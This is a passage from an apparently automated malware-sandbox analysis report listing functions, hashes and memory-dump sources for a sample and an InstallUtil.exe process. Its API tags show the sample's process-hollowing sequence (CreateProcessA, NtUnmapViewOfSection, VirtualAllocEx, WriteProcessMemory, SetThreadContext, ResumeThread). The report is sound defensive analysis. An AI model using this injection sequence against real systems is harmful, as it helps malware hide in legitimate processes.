Opcode ID: 386905c6b6327d621bb30e5c8a2a1c5c29234960d1a71a1b4b94ba9fc1e3dae9
Instruction ID: f3523d32003264bdede7fdc3e5b0a7e7e68de634c5fda34ddcee932bcc2ac90e
Opcode Fuzzy Hash: 386905c6b6327d621bb30e5c8a2a1c5c29234960d1a71a1b4b94ba9fc1e3dae9
Instruction Fuzzy Hash: 86B01220B1D11ECFE2349B64C43077C11426F4C300F220434E04E831E3CC28A9034D89

Function 00007FFD9BA70188 Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae3bc1a1c9a6f27fda30185c12c96b7131d707000f982d29810c2ee54c3aa2d
Instruction ID: 29e95fbc28678b2879297f839e58fc70fe2f7fe50478659996ceb904656991bc
Opcode Fuzzy Hash: 4ae3bc1a1c9a6f27fda30185c12c96b7131d707000f982d29810c2ee54c3aa2d
Instruction Fuzzy Hash:

Non-executed Functions

Function 00007FFD9BA72830 Relevance: 2.0, Strings: 1, Instructions: 703COMMON

Download Yara Rule

Strings

s6_H, xrefs: 00007FFD9BA72F91

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: s6_H
API String ID: 0-1024246133
Opcode ID: 644f409b1cbee69a385a889699e8918557ffbe2b7caf35d4b98a81876d5af8b1
Instruction ID: be83d5603f3669ea0dfb41043f1907238f6644f13b6639c70f416e6c67f3c226
Opcode Fuzzy Hash: 644f409b1cbee69a385a889699e8918557ffbe2b7caf35d4b98a81876d5af8b1
Instruction Fuzzy Hash: E5226C62B0E7894FE759EBAC98A56E97BD1FF95314F0400BAD08DC71E7DD24A902C341

Function 00007FFD9BA738F2 Relevance: 1.6, Strings: 1, Instructions: 351COMMON

Download Yara Rule

Strings

0_^, xrefs: 00007FFD9BA73B01

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: 0_^
API String ID: 0-3386329198
Opcode ID: 7979ce10f220270a8954a900c381aaf57267c130aae361a1bd04fe8e6f527896
Instruction ID: 99c37508c922986ec4dc6a656396507e11304c7388bd3510b71bd4d0847f5fc9
Opcode Fuzzy Hash: 7979ce10f220270a8954a900c381aaf57267c130aae361a1bd04fe8e6f527896
Instruction Fuzzy Hash: C0C1D252A0D2A29AE31AB7B8F8B64E53F90DF0222C71D41F7D0DD8F0A7ED486547D294

Function 00007FFD9BA727C0 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba22addf3f7f2ef1acc4057d792917bebe87bcbff800af9a6ff077f61dfdfceb
Instruction ID: c00f4b79f4fffb5ed14f3a5c5772a70d47874c71adadee291af087be087f8af6
Opcode Fuzzy Hash: ba22addf3f7f2ef1acc4057d792917bebe87bcbff800af9a6ff077f61dfdfceb
Instruction Fuzzy Hash: 13125B62B0E7998BE719EBACDCA55E97BD1FF45314F1800BBD088871E7ED24A846C341

Function 00007FFD9B8BB16A Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1840808570.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_2ngxhElaud.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b386254a020c238f0d902acc45c3f91c919ca7e3a78d134719f276f6b0e67a
Instruction ID: 7ae8aea873d93637da9a5d4280ba666c022708e352c70f3fd3f77eed9a0ed848
Opcode Fuzzy Hash: f1b386254a020c238f0d902acc45c3f91c919ca7e3a78d134719f276f6b0e67a
Instruction Fuzzy Hash: CF717070A08A4D8FDBA8EF58C855BF977E1FF59310F10412AE84EC7291DB74A981CB81

Function 00007FFD9BA704F9 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde5f7b4e9b50233a7187b941813381c9ee42cb3e320f13789ad978053de2164
Instruction ID: 4851f29876d8c8f2609f4cb6bb5a41fd6b445aaec314688725b7345b5ffddb17
Opcode Fuzzy Hash: bde5f7b4e9b50233a7187b941813381c9ee42cb3e320f13789ad978053de2164
Instruction Fuzzy Hash: 74613521A0E6D95FD757F778A8B55D53FA0EF4222871940FBD08CCF0A3D908644AC756

Function 00007FFD9BA807C2 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 462b5d26861b897978716b10c9a9ea540f1a081b208f30a106e322b45bf83e00
Instruction ID: 7c059ff9c805cbf64839a9c6f71eb1018c234a8866c66bd8392ceb6bc404594c
Opcode Fuzzy Hash: 462b5d26861b897978716b10c9a9ea540f1a081b208f30a106e322b45bf83e00
Instruction Fuzzy Hash: EA014B35E0991DCBEB64DF84D890AFDB7B4FB99311F11526AC00AA3691C7745644CF48

Function 00007FFD9BA706FA Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

0_^O, xrefs: 00007FFD9BA70722
0_^c, xrefs: 00007FFD9BA70772
0_^E, xrefs: 00007FFD9BA706FA
0_^a, xrefs: 00007FFD9BA7076A
0_^_, xrefs: 00007FFD9BA70762
0_^e, xrefs: 00007FFD9BA7077A
0_^Q, xrefs: 00007FFD9BA7072A

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: 0_^E$0_^O$0_^Q$0_^_$0_^a$0_^c$0_^e
API String ID: 0-3656946609
Opcode ID: 2a990a6d78e4be480df90440e0d4538bbb6dd84a9ddfb01014c1c41ffc629d86
Instruction ID: 131b4983c5cfb1cb08342d87cd502ef08cc9c213f1951f833963d71005f4b9f4
Opcode Fuzzy Hash: 2a990a6d78e4be480df90440e0d4538bbb6dd84a9ddfb01014c1c41ffc629d86
Instruction Fuzzy Hash: E0818C62F2DA494BE72CAB6C68A56B973D1EF91724B0401BBD05EC31DBDC64B8478381

Analysis Process: InstallUtil.exePID: 2144, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.7%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B882B8D Relevance: 11.8, Strings: 9, Instructions: 533
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[CT, xrefs: 00007FFD9B882CE5
H[CT, xrefs: 00007FFD9B882FE5
X[CT, xrefs: 00007FFD9B882E0C
P[CT, xrefs: 00007FFD9B882C53
h[CT, xrefs: 00007FFD9B882D81
`[CT, xrefs: 00007FFD9B882EA6
0[CT, xrefs: 00007FFD9B882E97
([CT, xrefs: 00007FFD9B882DA4
H[CT, xrefs: 00007FFD9B882CF8

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: [CT$([CT$0[CT$H[CT$H[CT$P[CT$X[CT$`[CT$h[CT
API String ID: 0-2324494295
Opcode ID: feecbe61e22b7e86648c222648a8818222ce23f6de9e384a218268a0ac5a1219
Instruction ID: e828a23c7c5606931d73fb14ca1e42a8a7398e6d5eca58159a96ce31cd49abcf
Opcode Fuzzy Hash: feecbe61e22b7e86648c222648a8818222ce23f6de9e384a218268a0ac5a1219
Instruction Fuzzy Hash: B602F26050EAC99FD755DBAC88757A97FE0FF4A214F1804EED0C9CB1E3DA286856C342

Function 00007FFD9BA17E6D Relevance: 1.6, APIs: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9BA17F0E

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 02dadec237d50455db40d66dd4d9f29a4be66f45c069bdd44d9318e4509d0838
Instruction ID: f8cac00352590e488a8c16605624b5f9d4d3f27b914230ee270742889b035bc8
Opcode Fuzzy Hash: 02dadec237d50455db40d66dd4d9f29a4be66f45c069bdd44d9318e4509d0838
Instruction Fuzzy Hash: 8931B931A0CB4C4FDB2DDB68985A6FA7BF0EF55321F00416FE05AC3192DA746946CB81

Function 00007FFD9B963121 Relevance: .9, Instructions: 894COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4288824b42a3a9f7efb52aa41676d8b31c9c0fcfbfcd304ee1b5b7f332f226
Instruction ID: 15debbf567f682080cf8949ada00e476e5a071f6ed5f2fce874700a285f13592
Opcode Fuzzy Hash: 7c4288824b42a3a9f7efb52aa41676d8b31c9c0fcfbfcd304ee1b5b7f332f226
Instruction Fuzzy Hash: 9D42D451B2FA8E5FE7A6A7AC047527927D2DF9A240F4A00BBD44DC72F3DD1C99064342

Function 00007FFD9B8805B8 Relevance: 4.0, Strings: 3, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H[CT, xrefs: 00007FFD9B882FE5
[CT, xrefs: 00007FFD9B883186
H[CT, xrefs: 00007FFD9B883209

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: [CT$H[CT$H[CT
API String ID: 0-152058663
Opcode ID: 4fb1074ca47abe5709b85724d907a0f54d7b5c7a70a44c15fe4e4e4ad99e0c8b
Instruction ID: 8f0aff3f30a789fbbd442257786d4ae64200c569c8e28ee009c3c23f6d54f700
Opcode Fuzzy Hash: 4fb1074ca47abe5709b85724d907a0f54d7b5c7a70a44c15fe4e4e4ad99e0c8b
Instruction Fuzzy Hash: AF814770A0D98A1FDB59D7BC84756BABFE1EF4A310F1404FED09AC71E6DA3868428341

Function 00007FFD9BA17F99 Relevance: 1.9, APIs: 1, Instructions: 385
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32 ref: 00007FFD9BA182E5

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 273b5a52cff37e1eba47555b2305f2c2070759a1d5440c724fe85ba63cf15ba4
Instruction ID: d5eeff9590fd997485627b5a117eaaa256321ea7cb7799cbae24b93ae2131435
Opcode Fuzzy Hash: 273b5a52cff37e1eba47555b2305f2c2070759a1d5440c724fe85ba63cf15ba4
Instruction Fuzzy Hash: 4BC1A430A18B8D8FDBA8DF58CC567E977D1FB58310F15422AEC4EC7291DB7499818B82

Function 00007FFD9BA17CB9 Relevance: 1.6, APIs: 1, Instructions: 129
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32 ref: 00007FFD9BA17D7F

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5320f385e6fb7ed029b0e9065f1aecc65aac2ead67cfebd13f8d1bd487adf022
Instruction ID: d1bc920247bca2f14fe60f605d6c71721b865b13806af34e9f15319adf7a81e4
Opcode Fuzzy Hash: 5320f385e6fb7ed029b0e9065f1aecc65aac2ead67cfebd13f8d1bd487adf022
Instruction Fuzzy Hash: FD31F531A0CB5C4FCB189B5898066F9BBE1FF99321F04426FE449D3292DB74A9458BC1

Function 00007FFD9BA17B79 Relevance: 1.6, APIs: 1, Instructions: 116
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 00007FFD9BA17C2D

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eadf37665db9817a6178833595c54daa9af86ada17604fc3b266d57b52c8b30d
Instruction ID: e93e7403de1e1d27afe4430f815004caddd3c4238049d373a54c8c0b7adabd2c
Opcode Fuzzy Hash: eadf37665db9817a6178833595c54daa9af86ada17604fc3b266d57b52c8b30d
Instruction Fuzzy Hash: D931D671A0CB4C4FDB1DAB5898166ED7BE1EB95321F10426FD04AC3292DA64A8068786

Function 00007FFD9BA1777D Relevance: 1.6, APIs: 1, Instructions: 114
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BA17837

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: be6143425e1cd0aa4d9a465f578794c0a63fb8c09fd28a41d32ca76c2e3a5cab
Instruction ID: 9b81dab17714a002e821cc18d1f0c7747185d504c39194bc1c78912fdadc590b
Opcode Fuzzy Hash: be6143425e1cd0aa4d9a465f578794c0a63fb8c09fd28a41d32ca76c2e3a5cab
Instruction Fuzzy Hash: E231373190D7884FDB5ADBB888567E97FF0EF56320F0842ABD049C71A7DAB85806C751

Function 00007FFD9BA17A09 Relevance: 1.6, APIs: 1, Instructions: 104
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNEL32 ref: 00007FFD9BA17A9E

Memory Dump Source

Source File: 00000001.00000002.4287174782.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9ba00000_InstallUtil.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: c864705d65cc9e8d17fbaf9ed8313774926672c8874484dbf4a669cc61e0ac94
Instruction ID: cac8765b408883532b55019134bc409a19105ff9c16d4be43bb7da3eaf358885
Opcode Fuzzy Hash: c864705d65cc9e8d17fbaf9ed8313774926672c8874484dbf4a669cc61e0ac94
Instruction Fuzzy Hash: BF31F931A0CB484FDB2DDB68981A6F97BE0EF55321F04417FD08AC3193DA68A945CB51

Function 00007FFD9B88224B Relevance: 1.5, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9B88236F

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3984982982
Opcode ID: 2cf90cbd58ba9c6c84465a3d08304b12f2d883da0f6cd7ffe48edcd2f8b7e104
Instruction ID: b25b94878382c379d2b1c3bd0fae897e7a73227f172f0ecdbf74b795aecd8932
Opcode Fuzzy Hash: 2cf90cbd58ba9c6c84465a3d08304b12f2d883da0f6cd7ffe48edcd2f8b7e104
Instruction Fuzzy Hash: B451D861F1DD4D4FE7A8EBEC94656B867D2FF9C350B45027AE05EC32A6DE3868424340

Function 00007FFD9B880557 Relevance: 1.4, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H[CT, xrefs: 00007FFD9B882FE5

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: H[CT
API String ID: 0-2824857524
Opcode ID: 11cac9279376bb9dd61928d3dfe3f6b8515bdb1375088daf8880a7e92d9e1eae
Instruction ID: f39d980bf83f29b91e040564ed0a26fbd7c0dcbb890db098ac84f9e4c62b54f2
Opcode Fuzzy Hash: 11cac9279376bb9dd61928d3dfe3f6b8515bdb1375088daf8880a7e92d9e1eae
Instruction Fuzzy Hash: D851577160D9851FD309A77C68796E67FE0EF8A224B1805FFD0C9CB1E3DA2868438381

Function 00007FFD9B882F68 Relevance: 1.4, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H[CT, xrefs: 00007FFD9B882FE5

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: H[CT
API String ID: 0-2824857524
Opcode ID: 7a66479d3796158bb848f61db7179f19a186f6d19656596de58cc456ec67cfc1
Instruction ID: 78d972507c619880e2d0db3837b8078d1ea32c82fc77cf648ebd2acf6954d8d2
Opcode Fuzzy Hash: 7a66479d3796158bb848f61db7179f19a186f6d19656596de58cc456ec67cfc1
Instruction Fuzzy Hash: EE41077060EAC51FD759DB7C44756A6BFE1EF4A210B1805FED0DAC72E3DA2898538341

Function 00007FFD9B8805C0 Relevance: 1.4, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H[CT, xrefs: 00007FFD9B882FE5

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: H[CT
API String ID: 0-2824857524
Opcode ID: 753f31d71c515604dfd43e763ce6c6d29703ea803d0f658928f4783a69c5616a
Instruction ID: 5c7b7dfeb59f45b8704f26ace4e76c9e2dedc965d1f1b96f5d685049e6e40f2d
Opcode Fuzzy Hash: 753f31d71c515604dfd43e763ce6c6d29703ea803d0f658928f4783a69c5616a
Instruction Fuzzy Hash: FF31F76060E6C51FD745A7BC487A7BB7FE1DF4A214B1804FED4CACB1A7D92898538342

Function 00007FFD9B960F04 Relevance: 1.0, Instructions: 966COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f5644e87b41d1fc723b3d5f1f03a13c2c56d5676e87bc127ac0a4f8bb0b51af
Instruction ID: b222ab3efac80cb241c7fce138035b4c35b6143176eb0b99481e34c379534961
Opcode Fuzzy Hash: 1f5644e87b41d1fc723b3d5f1f03a13c2c56d5676e87bc127ac0a4f8bb0b51af
Instruction Fuzzy Hash: 9242E022F2EE5E5FE7F9966C047523923C3EF98644B5A51BAD04EC32F6ED18ED024241

Function 00007FFD9B887198 Relevance: .9, Instructions: 876COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79763773189b623e25daf0679c21c91452ba317e475034de96c75d3c4ecf6019
Instruction ID: fc79fd6c370014fc164425339f00579576c4a05d5550d5b5b09ac6d8548d61b0
Opcode Fuzzy Hash: 79763773189b623e25daf0679c21c91452ba317e475034de96c75d3c4ecf6019
Instruction Fuzzy Hash: 35529431B1D94D8FDFA9EB9C84A5AB87BE1FF58300B1501B9D04ED72A6DE25E842C740

Function 00007FFD9B961761 Relevance: .6, Instructions: 628COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ba877aa2df2becfb054c153043a40ebbf9e910085db378185f35c78735429c
Instruction ID: a415aa52bced3f5b030d2d700d80348e5af823a7ff515e4bb53e2072f6cbc51a
Opcode Fuzzy Hash: 22ba877aa2df2becfb054c153043a40ebbf9e910085db378185f35c78735429c
Instruction Fuzzy Hash: 2102E622F2EE2E5EE6B6A7BC00712BD17C2DF98754B16117AD44DC22F3ED1CAA424341

Function 00007FFD9B963BBD Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e426f445fce67c412e44f4a736eeab7e96cbfc0fe93f0dbe8cd61081d340a8f2
Instruction ID: e18b2d083eda2a448f94540540c33856c6f233f205277933bd728a0ab3732b55
Opcode Fuzzy Hash: e426f445fce67c412e44f4a736eeab7e96cbfc0fe93f0dbe8cd61081d340a8f2
Instruction Fuzzy Hash: A3C19F61F2ED1F9EFAB6A3AC107527C02D2EFD9250F66467AD44DC22E6DD1CEE024241

Function 00007FFD9B8866B8 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6b6711375fc4d06967262e93a5ebe9230a412186ced5976b8a6ca1065b8346
Instruction ID: cba66ecb27efbb195ff44c2cf3efbab038cb2458b90937db0a780b6a265bde95
Opcode Fuzzy Hash: ab6b6711375fc4d06967262e93a5ebe9230a412186ced5976b8a6ca1065b8346
Instruction Fuzzy Hash: D5B13A30B1D5890FDB55D7BC84666BABBD1EF4A714B1405FED0CAC72E2DA2868438781

Function 00007FFD9B886FA5 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa3fb2400384600fdfd81cc8c8481f17c67450ebfb02534a809a85441cd49ce
Instruction ID: 67bbbc3818edb336f857a04f0fdcf815bfb01c0e2f3f39f830a22a46e21c0cab
Opcode Fuzzy Hash: afa3fb2400384600fdfd81cc8c8481f17c67450ebfb02534a809a85441cd49ce
Instruction Fuzzy Hash: 5E516857B0E2B55BE32667BCBCB68EA3B50CF4232870942B7D19C8F1E3EC08544B4291

Function 00007FFD9B886668 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9425c99619f4d615252cba9876904733ec64b46ba3238a501a8a5ff2e484a682
Instruction ID: 4d657283f2d2e75a1e88bc93c83004c0e5cb8b5e6b28a9e4c08cbc47bb38bd1a
Opcode Fuzzy Hash: 9425c99619f4d615252cba9876904733ec64b46ba3238a501a8a5ff2e484a682
Instruction Fuzzy Hash: 6C517D6160DA954FD709D7BC54696F6BFE0EF4A72471805EFD0C9C71A3DA24A84383C1

Function 00007FFD9B8866C5 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d380cedef18b46435adfa3c4a680bc4d69c31df80fe73d51e0c46ece2e73c8
Instruction ID: 1b0524982898e0f32cdc45593af68bb5a0d2912cd020e12cb8adedaa07be64b1
Opcode Fuzzy Hash: 35d380cedef18b46435adfa3c4a680bc4d69c31df80fe73d51e0c46ece2e73c8
Instruction Fuzzy Hash: 1E513A7160D9965FD705EBBC546A6F6BFE0EF4A314B1805FED0CACB1A3DA2468438381

Function 00007FFD9B96146B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7904c6cd2c8e413cbd678dd33500ccd763438979969bba3ee8d2e01be502105c
Instruction ID: 6a1511a526c8d602f16cda03f2b98a5db439597dfbe7255ab35b0e2555908174
Opcode Fuzzy Hash: 7904c6cd2c8e413cbd678dd33500ccd763438979969bba3ee8d2e01be502105c
Instruction Fuzzy Hash: 39319C22F2AE1E5EE7E9E76C047123912C3EFD8655B5A507AD40EC32F6ED28ED024240

Function 00007FFD9B8869C5 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d72c0a72417198f2f435cb7bf6d4390b272f31850fa5e01c3a815f2e33e1ac
Instruction ID: 19611735fa2bb7a78a9644236dfd5e2a4a2ce1283ea3f1cfb7f9826ca60737cf
Opcode Fuzzy Hash: 28d72c0a72417198f2f435cb7bf6d4390b272f31850fa5e01c3a815f2e33e1ac
Instruction Fuzzy Hash: A4210665B0EA8E4FE721ABE8CCA16EC7FA0EF49311F1541B6C454CB2D3D53816498381

Function 00007FFD9B96186D Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

